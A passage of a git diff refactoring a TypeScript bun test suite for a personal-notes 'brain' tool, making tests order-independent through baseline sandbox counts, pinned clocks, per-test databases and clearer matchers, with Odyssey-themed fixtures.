unclean", () => { test("a signal while the job is still starting is kept: the job is cancelled once it has started", async () => { rmSync(gate(), { force: true }); const before = new Set(jobIds(faults)); + // A leaky-provider case may already have left its sandboxes: this run adds none. + const sandboxesBefore = liveSandboxes(faults); const proc = spawnRun(["--provider", "ithaca-gated", "--source", "notes/raft.md", "--json", "--", "sleep", "60"]); const id = await newJobIn(before, "staging"); proc.kill("SIGTERM"); @@ -297,12 +301,13 @@ describe("a run interrupted or left unclean", () => { expect(stderr).toContain("SIGTERM received, cancelling"); const { job } = json(stdout); expect(job).toMatchObject({ id, state: "cancelled", cancelRequested: true, cleanup: { state: "released" } }); - expect(liveSandboxes(faults)).toBe(0); + expect(liveSandboxes(faults)).toBe(sandboxesBefore); }, 30_000); test("human mode names the job on stderr as soon as it is recorded, before it has started", async () => { rmSync(gate(), { force: true }); const before = new Set(jobIds(faults)); + const sandboxesBefore = liveSandboxes(faults); const proc = spawnRun(["--provider", "ithaca-gated", "--source", "notes/route.md", "--human", "--", "sleep", "60"]); const id = await newJobIn(before, "staging"); const reader = proc.stderr.getReader(); @@ -317,7 +322,7 @@ describe("a run interrupted or left unclean", () => { rmSync(gate(), { force: true }); expect(code).toBe(3); expect(stdout).toContain(`job ${id}: cancelled`); - expect(liveSandboxes(faults)).toBe(0); + expect(liveSandboxes(faults)).toBe(sandboxesBefore); }, 30_000); test("an attached run whose release is never confirmed exits 2 and points at reconcile", async () => { diff --git a/packages/core/tests/compute-config.test.ts b/packages/core/tests/compute-config.test.ts index b66dc9807e..ac8402d584 100644 --- a/packages/core/tests/compute-config.test.ts +++ b/packages/core/tests/compute-config.test.ts @@ -121,17 +121,21 @@ describe("resolving compute instances", () => { box = sandbox(); const memory = memoryCompute(); (globalThis as { __ogygiaProvider?: unknown }).__ogygiaProvider = memory.provider; - const module = join(box.base, "brain-compute-ogygia.ts"); - writeFileSync(module, "export const computeProvider = (globalThis as any).__ogygiaProvider;\nexport const defaultKeyEnv = \"OGYGIA_API_KEY\";\n"); - const registry: Record = { - ogygia: { load: () => loadComputePackage(module) }, - absent: { load: () => loadComputePackage(join(box!.base, "no-such-package.ts")) }, - }; - const loaded = await resolveComputeInstance("o", { provider: "ogygia", lease: { maxSeconds: 60 } }, { env: { OGYGIA_API_KEY: "k" }, registry }); - expect(loaded.ok && [loaded.instance.provider === memory.provider, loaded.instance.keyEnv, loaded.instance.secret]).toEqual([true, "OGYGIA_API_KEY", "k"]); - const absent = await resolveComputeInstance("a", { provider: "absent", lease: { maxSeconds: 60 } }, { env: {}, registry }); - expect(absent.ok ? "resolved" : absent.code).toBe("provider_unavailable"); - delete (globalThis as { __ogygiaProvider?: unknown }).__ogygiaProvider; + try { + const module = join(box.base, "brain-compute-ogygia.ts"); + writeFileSync(module, "export const computeProvider = (globalThis as any).__ogygiaProvider;\nexport const defaultKeyEnv = \"OGYGIA_API_KEY\";\n"); + const registry: Record = { + ogygia: { load: () => loadComputePackage(module) }, + absent: { load: () => loadComputePackage(join(box!.base, "no-such-package.ts")) }, + }; + const loaded = await resolveComputeInstance("o", { provider: "ogygia", lease: { maxSeconds: 60 } }, { env: { OGYGIA_API_KEY: "k" }, registry }); + expect(loaded.ok && [loaded.instance.provider === memory.provider, loaded.instance.keyEnv, loaded.instance.secret]).toEqual([true, "OGYGIA_API_KEY", "k"]); + const absent = await resolveComputeInstance("a", { provider: "absent", lease: { maxSeconds: 60 } }, { env: {}, registry }); + expect(absent.ok ? "resolved" : absent.code).toBe("provider_unavailable"); + } finally { + // Removed even when an assertion fails, so no later file sees the stand-in. + delete (globalThis as { __ogygiaProvider?: unknown }).__ogygiaProvider; + } }); test("an unknown built-in is provider_unknown and invalid options are provider_unavailable", async () => { diff --git a/packages/core/tests/compute-identity.test.ts b/packages/core/tests/compute-identity.test.ts index 27b66bfa19..69544c4bd9 100644 --- a/packages/core/tests/compute-identity.test.ts +++ b/packages/core/tests/compute-identity.test.ts @@ -58,7 +58,7 @@ test("a raw sandbox or command id is not a job id", async () => { const result = await svc.status(PENELOPE, id); expect(result.ok ? "found" : result.code).toBe("job_unknown"); } - expect(JSON.stringify(run.job).includes(sbx)).toBe(false); + expect(JSON.stringify(run.job)).not.toContain(sbx); }); test("a job of another brain sharing the state directory is unknown here", async () => { diff --git a/packages/core/tests/compute-mcp.test.ts b/packages/core/tests/compute-mcp.test.ts index 47ed465268..932342694b 100644 --- a/packages/core/tests/compute-mcp.test.ts +++ b/packages/core/tests/compute-mcp.test.ts @@ -195,6 +195,6 @@ describe("an operation that throws", () => { driver.stop(); } expect(logged.length).toBe(COMPUTE_TOOLS.length); - expect(logged.every((args) => args.map(String).join(" ").includes(secretPath))).toBe(true); + expect(logged.map((args) => args.map(String).join(" ")).filter((line) => !line.includes(secretPath))).toEqual([]); }); }); diff --git a/packages/core/tests/compute-ops.test.ts b/packages/core/tests/compute-ops.test.ts index 6cf1814582..65b4eed9ac 100644 --- a/packages/core/tests/compute-ops.test.ts +++ b/packages/core/tests/compute-ops.test.ts @@ -281,7 +281,7 @@ describe("the background driver", () => { // there is no event for "no timer". await Bun.sleep(40); expect(memory.calls.length).toBe(calls); - expect(memory.calls.some((c) => c.method === "kill" || c.method === "release")).toBe(false); + expect(memory.calls.filter((c) => c.method === "kill" || c.method === "release").map((c) => c.method)).toEqual([]); driver.track(run.job.id); expect(driver.tracked()).toEqual([]); }); diff --git a/packages/core/tests/compute-refusals.test.ts b/packages/core/tests/compute-refusals.test.ts index 091970b480..7d25cf4d57 100644 --- a/packages/core/tests/compute-refusals.test.ts +++ b/packages/core/tests/compute-refusals.test.ts @@ -182,7 +182,7 @@ describe("source swapped after admission", () => { expect(run.ok && [run.job.state, run.job.terminal?.reason, run.job.cleanup.state]).toEqual([ "failed", expect.stringContaining("notes/route.md changed after admission"), "released", ]); - expect([...memory.sandboxes.values()].every((s) => s.files.size === 0)).toBe(true); + expect([...memory.sandboxes.values()].map((s) => s.files.size).filter((n) => n > 0)).toEqual([]); }); } }); diff --git a/packages/core/tests/compute-state.test.ts b/packages/core/tests/compute-state.test.ts index fbea1cd3e3..4543935857 100644 --- a/packages/core/tests/compute-state.test.ts +++ b/packages/core/tests/compute-state.test.ts @@ -128,7 +128,7 @@ describe("records", () => { const run = await svc.run(HOSTED, { instance: "ithaca", argv: ["printenv"], env: { VOYAGE: "home" }, source: ["notes/raft.md"] }); if (!run.ok) throw new Error(run.code); await svc.status(HOSTED, run.job.id); - expect(memory.calls.every((c) => c.secret === "sk-ithaca-the-loom-unravels")).toBe(true); + expect(memory.calls.filter((c) => c.secret !== "sk-ithaca-the-loom-unravels").map((c) => c.method)).toEqual([]); expect(filesContaining(box.state, "sk-ithaca-the-loom-unravels")).toEqual([]); }); }); diff --git a/packages/core/tests/context-assembler.test.ts b/packages/core/tests/context-assembler.test.ts index 0369a9c87a..9b297425ab 100644 --- a/packages/core/tests/context-assembler.test.ts +++ b/packages/core/tests/context-assembler.test.ts @@ -6,7 +6,7 @@ * the unit tests build a small in-memory index by hand. */ -import { afterAll, beforeAll, describe, expect, spyOn, test } from "bun:test"; +import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, spyOn, test } from "bun:test"; import type { Database } from "bun:sqlite"; import { appendFileSync, cpSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "fs"; import { tmpdir } from "os"; @@ -102,9 +102,9 @@ describe("over fixtures/corpus", () => { // The corpus identity has no text before its first "##" heading, and its // first section does not fit in 200 tokens: what leads is the summary. const out = await assembleContext(db, ctx, { query: "navigation", maxTokens: 200, includeCurrentFocus: false }); - expect(out.startsWith( + expect(out).toStartWith( "## Identity\nKing of Ithaca, on Ogygia after ten years returning from Troy\n\n(truncated — brain read me/identity.md)" - )).toBe(true); + ); expect(estimateTokens(out)).toBeLessThanOrEqual(200); }); @@ -245,14 +245,19 @@ describe("over a hand-built index", () => { beforeAll(() => { dir = mkdtempSync(join(tmpdir(), "brain-context-unit-")); temps.push(dir); - db = openDatabase(":memory:"); const taxonomy = buildTaxonomy({}); ctx = { root: dir, dbPath: ":memory:", config: null, configPath: null, modules: [], taxonomy }; }); - afterAll(() => db?.close()); - + // Each test indexes only the documents it adds: a shared index let one + // test's hits answer another's query, so the result depended on order. let nextId = 1; + beforeEach(() => { + db = openDatabase(":memory:"); + nextId = 1; + }); + afterEach(() => db?.close()); + function addDoc(path: string, title: string, content: string, summary: string | null = null) { const id = nextId++; db.run("INSERT INTO documents(id,path,title,type,status,summary,created,updated,content,indexed_at) VALUES (?,?,?,'note','active',?,'2026-01-01','2026-01-01',?,'2026-01-01')", [id, path, title, summary, content]); @@ -459,7 +464,7 @@ describe("over a hand-built index", () => { const report = emptyAssembleReport(); const out = await assembleContext(db, ctx, { query: "", maxTokens: 18, report }); expect(report.focus).toBe("context/current-focus.md"); - expect(out.endsWith("## Current Focus\nF")).toBe(true); + expect(out).toEndWith("## Current Focus\nF"); expect(estimateTokens(out)).toBeLessThanOrEqual(18); }); @@ -589,7 +594,7 @@ describe("over a hand-built index", () => { writeFileSync(join(dir, "context/current-focus.md"), "---\ntype: context\n---\nCurrent priority.\n"); const out = await identity(doc(`Intro.\n\n${LONG}\n\n## History\n\n${LONG}`, "~~~"), 100); expect(blockTypes(out)).toEqual(["h2", "paragraph", "paragraph", "paragraph"]); - expect(out.endsWith(MARKER)).toBe(true); + expect(out).toEndWith(MARKER); }); for (const summary of ["[role]: sailor", "[^profile]: sailor\n indented footnote body"]) { @@ -605,7 +610,7 @@ describe("over a hand-built index", () => { writeFileSync(join(dir, "me/identity.md"), `---\ntype: identity\nsummary: ${JSON.stringify(summary)}\n---\nIntro.\n\n${LONG}\n\n## History\n\n${LONG}\n`); const out = await assembleContext(db, ctx, { query: "", maxTokens: 100, includeCurrentFocus: false }); expect(blockTypes(out)).toEqual(["h2", "paragraph", "paragraph", "paragraph"]); - expect(out.endsWith(MARKER)).toBe(true); + expect(out).toEndWith(MARKER); }); } diff --git a/packages/core/tests/context-scope-surfaces.test.ts b/packages/core/tests/context-scope-surfaces.test.ts index 97ea7dff59..51bb0c4a86 100644 --- a/packages/core/tests/context-scope-surfaces.test.ts +++ b/packages/core/tests/context-scope-surfaces.test.ts @@ -73,7 +73,7 @@ describe("brain context", () => { expect(out.code).toBe(0); const paths = [...out.stdout.matchAll(/^### .*?\(([^)]+\.md)\)/gm)].map((m) => m[1]!); expect(paths.length).toBeGreaterThan(0); - for (const path of paths) expect(path.startsWith("projects/active/sail-repairs/"), path).toBe(true); + expect(paths.filter((path) => !path.startsWith("projects/active/sail-repairs/"))).toEqual([]); expect(out.stdout).not.toContain("## Identity"); expect(out.stdout).toContain("health/knee-injury.md (not ranked)"); expect(out.stdout).toContain("notes/missing.md (unavailable)"); @@ -120,7 +120,7 @@ describe("brain_context", () => { const structured = result.structuredContent as Record; expect(Object.keys(structured).sort()).toEqual(["context", "warnings"]); expect(content[0]!.text).toBe(structured.context as string); - expect(content.some((block) => block.text.startsWith("### Coverage"))).toBe(false); + expect(content.filter((block) => block.text.startsWith("### Coverage"))).toEqual([]); }); test("exclude keeps both files unopened and returns the coverage as its last block and in structuredContent", async () => { @@ -131,7 +131,7 @@ describe("brain_context", () => { for (const marker of [FOCUS_MARKER, REGISTRY_MARKER, `(${FOCUS})`, `(${REGISTRY})`]) expect(structured.context).not.toContain(marker); // The first block is still the context text itself. expect(content[0]!.text).toBe(structured.context); - expect(content.at(-1)!.text.startsWith("### Coverage")).toBe(true); + expect(content.at(-1)!.text).toStartWith("### Coverage"); expect(structured.coverage.exhaustive).toBe(false); expect(structured.coverage.excerpts.map((e) => e.path)).not.toContain(FOCUS); expect(structured.coverage.excerpts[0]).toEqual({ path: "me/identity.md", lane: "identity", form: "whole" }); @@ -142,7 +142,7 @@ describe("brain_context", () => { const { coverage } = result.structuredContent as { coverage: { include: string[]; excerpts: Array<{ path: string }> } }; expect(coverage.include).toEqual(["projects/active/sail-repairs/"]); expect(coverage.excerpts.length).toBeGreaterThan(0); - for (const excerpt of coverage.excerpts) expect(excerpt.path.startsWith("projects/active/sail-repairs/"), excerpt.path).toBe(true); + expect(coverage.excerpts.map((e) => e.path).filter((path) => !path.startsWith("projects/active/sail-repairs/"))).toEqual([]); }); test("an invalid or oversized scope is a tool error", async () => { diff --git a/packages/core/tests/context-scope.test.ts b/packages/core/tests/context-scope.test.ts index 278dc7b814..2a47918396 100644 --- a/packages/core/tests/context-scope.test.ts +++ b/packages/core/tests/context-scope.test.ts @@ -104,7 +104,7 @@ describe("the fixture's premise, unscoped", () => { test("with the registry out of the pool, it still reaches the briefing as a related neighbour", async () => { // The registry's own text never ranks: only the neighbour lane can bring it in. const { report } = await assemble({ query: "spliced practice spars below the cave", includeCurrentFocus: false, includeIdentity: false }); - expect(report.related.includes(REGISTRY) || report.results.includes(REGISTRY)).toBe(true); + expect([...report.related, ...report.results]).toContain(REGISTRY); }); }); @@ -273,7 +273,7 @@ describe("coverage", () => { test("budget exhaustion is explicit", async () => { const { coverage } = await assemble({ maxTokens: 120, scope: { include: ["projects/", FOCUS] } }); expect(coverage.budgetExhausted).toBe(true); - expect(coverage.omitted.some((o) => o.reason === "budget")).toBe(true); + expect(coverage.omitted).toContainEqual(expect.objectContaining({ reason: "budget" })); expect(coverageNote(coverage)).toContain("Budget exhausted"); }); diff --git a/packages/core/tests/doctor-instructions-weight.test.ts b/packages/core/tests/doctor-instructions-weight.test.ts index 1ed56b5b7d..cfd30f47a2 100644 --- a/packages/core/tests/doctor-instructions-weight.test.ts +++ b/packages/core/tests/doctor-instructions-weight.test.ts @@ -109,7 +109,7 @@ test("a brain generated from template/ passes, and counts the imported contract for (const skill of skills) expect(parts.get(`skill ${skill.name}`)).toBe(estimateTokens(skill.description)); const total = [...parts.values()].reduce((a, b) => a + b, 0); - expect(check.detail.startsWith(`~${total} tokens always loaded`)).toBe(true); + expect(check.detail).toStartWith(`~${total} tokens always loaded`); expect(parts.size).toBe(2 + skills.length); }); diff --git a/packages/core/tests/doctor.test.ts b/packages/core/tests/doctor.test.ts index 1517b7ed98..b8309240c9 100644 --- a/packages/core/tests/doctor.test.ts +++ b/packages/core/tests/doctor.test.ts @@ -43,7 +43,7 @@ test("a planted refs/original backup warns, names the ref, and shows the removal const before = refs(root); const logsBefore = reflogs(root); expect(logsBefore.length).toBeGreaterThan(0); - expect(before.some((r) => r.startsWith("refs/original/refs/heads/main "))).toBe(true); + expect(before).toContainEqual(expect.stringMatching(/^refs\/original\/refs\/heads\/main /)); const check = await gitStorage(root); expect(check.status).toBe("warn"); diff --git a/packages/core/tests/document-page.test.ts b/packages/core/tests/document-page.test.ts index 2a8f50191e..72d74f3ba6 100644 --- a/packages/core/tests/document-page.test.ts +++ b/packages/core/tests/document-page.test.ts @@ -110,7 +110,7 @@ describe("ordering and cursor", () => { const { rows, pages } = enumerate({ pathPrefix: "notes/fleet", limit }); expect(rows.map((r) => r.path)).toEqual(expected); expect(new Set(rows.map((r) => r.path)).size).toBe(FLEET); - expect(pages.every((p) => p.total === FLEET)).toBe(true); + expect(pages.map((p) => p.total)).toEqual(pages.map(() => FLEET)); expect(pages.length).toBe(Math.ceil(FLEET / limit)); expect(pages.at(-1)!.next_cursor).toBeNull(); } @@ -147,7 +147,7 @@ describe("path prefix", () => { test("matches whole segments: neighbouring folders and files do not leak in", () => { const raft = paths({ pathPrefix: "projects/active/raft" }); expect(raft.length).toBeGreaterThan(0); - expect(raft.every((p) => p.startsWith("projects/active/raft/"))).toBe(true); + expect(raft.filter((p) => !p.startsWith("projects/active/raft/"))).toEqual([]); expect(raft).not.toContain("projects/active/raft.md"); expect(raft).not.toContain("projects/active/raft-old/notes.md"); expect(paths({ pathPrefix: "projects/active/raft/" })).toEqual(raft); @@ -215,8 +215,8 @@ describe("output bound", () => { const [row] = p.documents; expect(row!.path).toBe("notes/loom/penelope.md"); expect(row!.clipped).toEqual(["summary"]); - expect(row!.summary!.endsWith("…")).toBe(true); - expect(row!.summary!.startsWith("Woven by day, unwoven by night.")).toBe(true); + expect(row!.summary!).toEndWith("…"); + expect(row!.summary!).toStartWith("Woven by day, unwoven by night."); expect(JSON.parse(JSON.stringify(p))).toEqual(p); // Among other rows, the oversized one leads its own page and the rest follow whole. const { rows, pages } = enumerate({ pathPrefix: "notes", overview: true, limit: 100 }); @@ -294,8 +294,8 @@ describe("truthful warnings", () => { rmSync(join(root, removed)); try { const p = page({ pathPrefix: "notes/fleet", overview: true, limit: 100 }); - expect(p.warnings.some((w) => w.startsWith("source changed after indexing for 1 listed document(s) (notes/fleet/ship-004.md)"))).toBe(true); - expect(p.warnings.some((w) => w.startsWith("source missing or unreadable for 1 listed document(s) (notes/fleet/ship-009.md)"))).toBe(true); + expect(p.warnings).toContainEqual(expect.stringMatching(/^source changed after indexing for 1 listed document\(s\) \(notes\/fleet\/ship-004\.md\)/)); + expect(p.warnings).toContainEqual(expect.stringMatching(/^source missing or unreadable for 1 listed document\(s\) \(notes\/fleet\/ship-009\.md\)/)); // Only rows on the page are checked, and only for the overview. const other = page({ pathPrefix: "projects/active", overview: true, limit: 100 }); expect(other.warnings).toEqual([]); diff --git a/packages/core/tests/document-parts.test.ts b/packages/core/tests/document-parts.test.ts index 5eb37ea0f9..0433ac9c67 100644 --- a/packages/core/tests/document-parts.test.ts +++ b/packages/core/tests/document-parts.test.ts @@ -36,7 +36,7 @@ describe("readDocumentPart", () => { test("a section runs to the next heading of the same or higher level", () => { const out = readDocumentPart(DOC, { section: "Alpha", sectionHint: hint }); - expect(out.startsWith("## Alpha\n")).toBe(true); + expect(out).toStartWith("## Alpha\n"); expect(out).toContain("### Alpha one"); expect(out).toContain("## Not a heading"); expect(out).not.toContain("Beta body."); @@ -45,7 +45,7 @@ describe("readDocumentPart", () => { test("a subsection stops at its parent's next sibling", () => { const out = readDocumentPart(DOC, { section: "alpha ONE", sectionHint: hint }); - expect(out.startsWith("### Alpha one\n")).toBe(true); + expect(out).toStartWith("### Alpha one\n"); expect(out).not.toContain("## Beta"); }); @@ -63,7 +63,7 @@ describe("readDocumentPart", () => { test("over the limit, returns the frontmatter and an outline with token counts", () => { const out = readDocumentPart(DOC, { maxTokens: 10, sectionHint: hint }); - expect(out.startsWith("---\ntitle: Sample\n---\n")).toBe(true); + expect(out).toStartWith("---\ntitle: Sample\n---\n"); expect(out).toContain('read one section with section: ""'); // ~4 characters per token over each section's own lines: Alpha's 82 // characters include its subsection's 59, Beta is 20. @@ -86,7 +86,7 @@ describe("readDocumentPart", () => { test("the outline can exceed max_tokens: it is the threshold, not a cap", () => { const frontmatter = `---\nnotes: "${"n".repeat(400)}"\n---\n`; const out = readDocumentPart(`${frontmatter}\n## A\n\n${"a".repeat(400)}\n`, { maxTokens: 20, sectionHint: hint }); - expect(out.startsWith(frontmatter)).toBe(true); + expect(out).toStartWith(frontmatter); expect(out).toMatch(/^- ## A \(~\d+ tokens\)$/m); expect(out.length / 4).toBeGreaterThan(20); }); @@ -263,7 +263,7 @@ describe("frontmatter and line endings", () => { const doc = "---\n---\n## A\nbody\n\n---\n## B\nb\n"; expect(section(doc, "A")).toBe("## A\nbody\n\n---\n"); const outline = readDocumentPart(doc, { maxTokens: 1, sectionHint: hint }); - expect(outline.startsWith("---\n---\n\n[")).toBe(true); + expect(outline).toStartWith("---\n---\n\n["); expect(outline).not.toContain("body"); }); @@ -288,7 +288,7 @@ describe("frontmatter and line endings", () => { const doc = "\uFEFF---\nnotes: |\n ## A\n---\n## A\nbody\n"; expect(section(doc, "A")).toBe("## A\nbody\n"); const outline = readDocumentPart(doc, { maxTokens: 1, sectionHint: hint }); - expect(outline.startsWith("\uFEFF---\nnotes: |\n ## A\n---\n\n[")).toBe(true); + expect(outline).toStartWith("\uFEFF---\nnotes: |\n ## A\n---\n\n["); expect(outline.match(/^- ## /gm)).toEqual(["- ## "]); }); diff --git a/packages/core/tests/document-writes.test.ts b/packages/core/tests/document-writes.test.ts index d27f0eb27e..c5b50d9179 100644 --- a/packages/core/tests/document-writes.test.ts +++ b/packages/core/tests/document-writes.test.ts @@ -67,6 +67,8 @@ describe("brain_update", () => { }); test("a write that fails part-way leaves the document as it was", async () => { + // Its own starting bytes: the successful update below may have run first. + writeFileSync(join(root, "notes/ledger.md"), SOURCE); // The appended section alone is several times the limit: a write of it fails. expect(OVERSIZED_APPEND.length).toBeGreaterThan(SIZE_LIMIT_BLOCKS * 1024 * 2); const res = await limited.callTool({ diff --git a/packages/core/tests/enrichment.test.ts b/packages/core/tests/enrichment.test.ts index a1fff33142..f4a2e5281f 100644 --- a/packages/core/tests/enrichment.test.ts +++ b/packages/core/tests/enrichment.test.ts @@ -233,7 +233,7 @@ describe("locating the chunk, the outline's overflow, and clipping (#427 review) expect(locateChunk(doc, "", "(intro)")).toBe(-1); expect(locateChunk("", "text", "Heading")).toBe(-1); const document = documentForChunk(doc, "", "(intro)", ""); - expect(document.startsWith(`Excerpt around the chunk:\n${doc.slice(0, 100)}`)).toBe(true); + expect(document).toStartWith(`Excerpt around the chunk:\n${doc.slice(0, 100)}`); expect(document.length).toBeLessThanOrEqual(CONTEXT_DOCUMENT_BUDGET); expect(documentForChunk("", "", "(intro)")).toBe(""); }); diff --git a/packages/core/tests/eval-baseline.test.ts b/packages/core/tests/eval-baseline.test.ts index 11231d0650..a2b80dc6eb 100644 --- a/packages/core/tests/eval-baseline.test.ts +++ b/packages/core/tests/eval-baseline.test.ts @@ -157,7 +157,10 @@ describe("--redact", () => { }); test("a redacted run still works as a baseline", async () => { - const { code, out } = await evalRun("--set", "evals/set.jsonl", "--baseline", "evals/shared.json"); + // Its own redacted baseline, so the test does not need the one above to have run first. + const written = await evalRun("--set", "evals/set.jsonl", "--redact", "--out", "evals/redacted-baseline.json"); + expect(written.code).toBe(0); + const { code, out } = await evalRun("--set", "evals/set.jsonl", "--baseline", "evals/redacted-baseline.json"); expect(code).toBe(0); expect(out.baseline.modes[0].hit_at["1"].unchanged).toBe(4); }); diff --git a/packages/core/tests/eval-dates.test.ts b/packages/core/tests/eval-dates.test.ts index 16cc46a7cc..bc47f3f3e0 100644 --- a/packages/core/tests/eval-dates.test.ts +++ b/packages/core/tests/eval-dates.test.ts @@ -38,7 +38,7 @@ async function evalRun(set: string, ...flags: string[]) { return { ...run, out }; } -// The raft project's deadline is 2026-08-15; no other fixture has one. +// The raft status's deadline is 2026-07-29; no other fixture has one. const DUE_NEXT = { id: "due-next", q: "what is due next", @@ -129,7 +129,7 @@ describe("stale vs current", () => { const { out } = await evalRun(writeSet("plain.jsonl", [{ ...BIO, expected: ["me/basics/short-bio.md"] }])); expect(out.per_query[0].current_first).toBeNull(); expect(out.rows.map((r: { class: string | null }) => r.class)).toEqual([null, "stale-vs-current"]); - expect(out.rows.every((r: { current_first: number | null }) => r.current_first === null)).toBe(true); + expect(out.rows.map((r: { current_first: number | null }) => r.current_first)).toEqual([null, null]); }); test("a stale path that does not exist is refused like an expected one", async () => { diff --git a/packages/core/tests/frontmatter-edit.test.ts b/packages/core/tests/frontmatter-edit.test.ts index dea2812d5e..98826d7362 100644 --- a/packages/core/tests/frontmatter-edit.test.ts +++ b/packages/core/tests/frontmatter-edit.test.ts @@ -4,7 +4,7 @@ * quoting, flow sequences, key order and blank lines survive. */ -import { afterAll, beforeAll, describe, expect, test } from "bun:test"; +import { afterAll, beforeAll, describe, expect, setSystemTime, test } from "bun:test"; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "fs"; @@ -16,8 +16,12 @@ import { parseFrontmatter } from "@schlessera/brain-common/internal/frontmatter" import { archiveDocument } from "../src/lib/archiver"; import { editFrontmatter, updateDocument } from "../src/lib/frontmatter-edit"; import { BRAIN_BIN, cleanup, keylessEnv, makeTempBrain, runCli } from "./cli-harness"; +import { writeHygieneClock } from "./hygiene-clock"; -const TODAY = new Date().toISOString().slice(0, 10); +// The edits stamp `updated` from the clock: pin it, in process and in the MCP +// child, so a run that crosses midnight cannot disagree with TODAY. +const TODAY = "2026-07-12"; +const NOW = `${TODAY}T12:00:00Z`; // An inline comment, a standalone comment line, a quoted string, a flow // sequence, a block list and a blank line: everything a serializer rewrites. @@ -67,7 +71,12 @@ test("archiving changes only the archive fields; every other line is byte-identi temps.push(root); mkdirSync(join(root, "notes"), { recursive: true }); writeFileSync(join(root, "notes/demo.md"), SOURCE); - await archiveDocument(root, "notes/demo.md"); + setSystemTime(new Date(NOW)); + try { + await archiveDocument(root, "notes/demo.md"); + } finally { + setSystemTime(); + } expect(readFileSync(join(root, "notes/demo.md"), "utf8")).toBe(withLines({ "status: active": "status: archived", "relevance: 'primary'": "relevance: 'historical'", @@ -85,8 +94,11 @@ describe("brain_update over MCP", () => { mkdirSync(join(root, "notes"), { recursive: true }); writeFileSync(join(root, "notes/demo.md"), SOURCE); expect((await runCli(root, ["index", "--json"])).code).toBe(0); + const clock = join(mkdtempSync(join(tmpdir(), "brain-fm-clock-")), "clock.ts"); + temps.push(join(clock, "..")); + writeHygieneClock(clock, NOW); client = new Client({ name: "frontmatter-edit-test", version: "1.0.0" }); - await client.connect(new StdioClientTransport({ command: "bun", args: [BRAIN_BIN, "mcp"], env: keylessEnv(root) })); + await client.connect(new StdioClientTransport({ command: "bun", args: ["--preload", clock, BRAIN_BIN, "mcp"], env: keylessEnv(root) })); }); afterAll(async () => { diff --git a/packages/core/tests/generated-from.test.ts b/packages/core/tests/generated-from.test.ts index 864aa3ede8..c4527a2894 100644 --- a/packages/core/tests/generated-from.test.ts +++ b/packages/core/tests/generated-from.test.ts @@ -74,7 +74,7 @@ describe("over a temp brain", () => { message: "Invalid generated_from: a list. It must be a non-empty string: a repo-relative path or a tool name", }]); // The document after it was still checked. - expect(issues.some((i) => i.file === "notes/untagged.md")).toBe(true); + expect(issues.map((i) => i.file)).toContain("notes/untagged.md"); } finally { rmSync(join(root, "notes/cyclic.md")); rmSync(join(root, "notes/untagged.md")); diff --git a/packages/core/tests/geo-cli.test.ts b/packages/core/tests/geo-cli.test.ts index 776ad17622..214f0098ca 100644 --- a/packages/core/tests/geo-cli.test.ts +++ b/packages/core/tests/geo-cli.test.ts @@ -152,7 +152,7 @@ describe("actual brain geo command contracts", () => { "--bbox", "-0.001,-0.001,0.002,0.001", "--no-background", "--out", "missing.png", "--json"]); expect(response.code).toBe(0); const result = JSON.parse(response.stdout); expect(result.legs).toHaveLength(2); expect(result.pins).toHaveLength(3); - expect(result.legs.every((leg: { available: boolean }) => !leg.available)).toBe(true); + expect(result.legs.map((leg: { available: boolean }) => leg.available)).toEqual([false, false]); expect(result.pins[2].drawn).toBe(false); expect(result.text).toContain("Route 1 leg 2"); expect(result.artifact.bytes).toBeGreaterThan(1000); expect(requests).toHaveLength(0); }); diff --git a/packages/core/tests/graph-profiles.test.ts b/packages/core/tests/graph-profiles.test.ts index 2dea5c9861..158a71a7e6 100644 --- a/packages/core/tests/graph-profiles.test.ts +++ b/packages/core/tests/graph-profiles.test.ts @@ -484,7 +484,7 @@ describe("absent, uncomputed and older graph data", () => { }); const clusters = cli(dir, (db) => getClusterGraph(db)); expect(ids(clusters.nodes)).toEqual([1, 2, 3, 4, 5, 6]); - expect(clusters.nodes.every((n) => n.pagerank === undefined && n.x === undefined)).toBe(true); + expect(clusters.nodes.filter((n) => n.pagerank !== undefined || n.x !== undefined)).toEqual([]); expect(cli(dir, (db) => getDiscoveryGraph(db))).toEqual({ nodes: [], edges: [], truncated: false }); expect(ids(cli(dir, (db) => getDiscoveryGraph(db, { root: "crew/odysseus.md", maxDepth: 1 })).nodes)).toEqual([1, 2, 3]); const findings = cli(dir, (db) => getMaintenanceFindings(db)); diff --git a/packages/core/tests/graph.test.ts b/packages/core/tests/graph.test.ts index 01c23783db..38b562a35e 100644 --- a/packages/core/tests/graph.test.ts +++ b/packages/core/tests/graph.test.ts @@ -509,9 +509,7 @@ describe("queries", () => { // Every edge in the result has both endpoints in it. expect(depth1.edges).toHaveLength(4); const ids = new Set(depth1.nodes.map((n) => n.id)); - for (const edge of depth1.edges) { - expect(ids.has(edge.source) && ids.has(edge.target)).toBe(true); - } + expect(depth1.edges.filter((edge) => !ids.has(edge.source) || !ids.has(edge.target))).toEqual([]); expect(getEgoGraph(db, { center: "does/not/exist.md" }).nodes).toEqual([]); @@ -531,7 +529,7 @@ describe("queries", () => { // An explicit root is a plain per-request BFS with no virtual node. const fromDelta = getDiscoveryGraph(db, { root: "notes/delta.md" }); - expect(fromDelta.nodes.some((n) => n.virtual)).toBe(false); + expect(fromDelta.nodes.filter((n) => n.virtual)).toEqual([]); expect(fromDelta.nodes.map((n) => n.path).sort()).toEqual([ "notes/delta.md", "notes/epsilon.md", @@ -566,7 +564,7 @@ describe("queries", () => { all.nodes.filter((n) => n.community === alphaCommunity).map((n) => n.path).sort() ); expect(single.nodes.map((n) => n.path)).toContain("notes/alpha.md"); - expect(single.nodes.every((n) => n.community === alphaCommunity)).toBe(true); + expect(single.nodes.filter((n) => n.community !== alphaCommunity)).toEqual([]); db.close(); }); diff --git a/packages/core/tests/indexer.test.ts b/packages/core/tests/indexer.test.ts index c5cfdb0cb2..ec732d2b58 100644 --- a/packages/core/tests/indexer.test.ts +++ b/packages/core/tests/indexer.test.ts @@ -707,9 +707,11 @@ describe("asset cache non-poisoning", () => { "assets/logo.png": FAKE_PNG, }); - // No provider and no enrichment: the asset is registered with a descriptor - // placeholder, nothing is embedded, and no sidecar is written. - await runIndex(root, { embeddings: true }); + // A provider and no enrichment: the asset is registered with a descriptor + // placeholder, and the embeddings run still writes the sidecar caches, so + // the placeholder filter is what keeps it 